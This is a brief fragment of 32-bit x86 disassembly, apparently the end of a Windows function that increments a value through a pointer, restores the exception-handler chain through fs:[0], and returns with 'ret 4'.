mov eax, dword [ebp + 8]
mov cl, byte [ebp - 0x11]
add esp, 0x10
inc dword [eax]
mov dword [ebp - 4], 0xffffffff
jmp 0x4021e5
mov al, cl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4